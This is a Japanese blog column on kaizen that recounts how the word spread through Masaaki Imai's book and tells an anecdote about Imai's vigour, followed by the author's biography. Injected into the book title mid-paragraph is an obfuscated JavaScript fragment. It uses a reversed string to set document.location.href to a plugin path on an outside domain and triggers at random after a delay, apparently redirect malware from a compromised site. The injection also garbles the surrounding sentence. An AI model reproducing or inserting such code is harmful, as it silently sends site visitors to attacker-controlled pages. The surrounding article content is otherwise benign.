これからの変化の時代に向けてのカイゼン【15】

これからの変化の時代に向けてのカイゼン【15】

いつもは『儲かるメーカー改善の急所101項』を使って今の時代に必要な改善のお話をしていますが、今回はちょっと趣向を変えて改善に必要な元気についてです。

 

私たちが実行している「改善」ですが、これを英語で何というかご存知ですか?

 

答えは “KAIZEN” です。

 

一体いつからそうなっているのでしょうか? 

私は約30年前に改善研究所所長の今井正明先生が “KAIZEN The Key toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Japan’s Competitive Success” という本をアメリカのマグロウヒル出版社から英語で出されたことがきっかけだと思います。

 

この本が日本には “KAIZEN” という日本独特の活動があってそれが日本の会社の経営を支えていることを世界に紹介しました。

それで “KAIZEN” という言葉が定着したということです。

 

これからの変化の時代に向けてのカイゼン【15】

 

今井先生はこれまで2冊の大きな本を書かれていますが、次の3冊目はモノづくり経営の本を書くとおっしゃって現在国内の優秀事例を集めておられます。

その一環で先日私の指導先のP社にいらっしゃいました。

 

指導日の前日夜に私は今井先生と東京で待ち合わせて埼玉県P社の最寄り駅に電車でご一緒に移動しました。

電車は混んでいて私たちは並んでつり革につかまって立っておりましたが、しばらくして前に座っていた一人の男性が下車されて空席ができました。

すると今井先生は間髪入れず「柿内さん、どうぞ座ってください!」と大きな声でおっしゃったのです。

 

私は昭和26年生まれの66歳で、席を譲られてもおかしくない年齢ではありますが、今井先生は更に年上で昭和5年生まれの87歳です。

もちろん私が席を譲ったのですが、この元気はすごいと思いました。

 

翌日の私の指導会の時も、現場で先生はずっと立ちっぱなしでしたが全く疲れた様子もなく大きな声で鋭い質問を投げかけられました。

 

ここでの気付きですが、改善活動にはいろいろなことが必要ですが、まず元気であることが大切だと思いました。

 

今井先生はいつも大きな声でニコニコしてお話しをされます。

 

そしてまたすぐにヨーロッパに講演会に出発とおっしゃっていましたから、もうすでに日本にはいらっしゃらないのでしょう。

元気の秘訣は?と尋ねたところ、

「まだまだ 改善しなければいけないことがたくさんあるので元気でないわけにはいかないんだよ!」

とのお言葉…。

 

今井先生を見習って、お互い元気で頑張りましょう!

今井先生(右)と

これからの変化の時代に向けてのカイゼン【15】 これからの変化の時代に向けてのカイゼン【15】

◎現場改善No.1コンサルタント。大手自動車メーカーにて、一貫して生産効率改善(IE)を担当し、その改善手腕を見込まれて、社命にてスタンフォード大学大学院に留学。帰国後、若くしてIE責任者として、全国の主力工場を指導、抜群の成績をあげる。 ◎現在、 柿内幸夫技術士事務所の所長 として、自動車、家電、食品、IT関連メーカーなどを指導。「現場で、全社員が一緒に改善する実勢指導」という独自のノウハウで、社長・工場長はもとより、現場の人たちから絶大な信頼をよせられる。中小企業のドロ臭さと、最新鋭の工場ラインの双方を熟知した手腕に、国内だけでなく欧米、中国、アジアの工場の指導に東奔西走する毎日である。 ◎1951年東京生まれ。東京工業大学工学部経営工学科卒業、スタンフォード大学修士課程修了、慶応大学にて工学博士号取得。 ◎著書「最強のモノづくり」(御沓佳美 共著)「“KZ法”工場改善」「儲かるメーカー 改善の急所〈101項〉」、「5Sでつくる高収益工場ビデオ」「図解でわかる生産の実務 現場改善」「現場改善入門」「現場の問題解決マニュアル」他多数。平成16年日本経営工学会経営システム賞受賞。工学博士、技術士(経営工学)。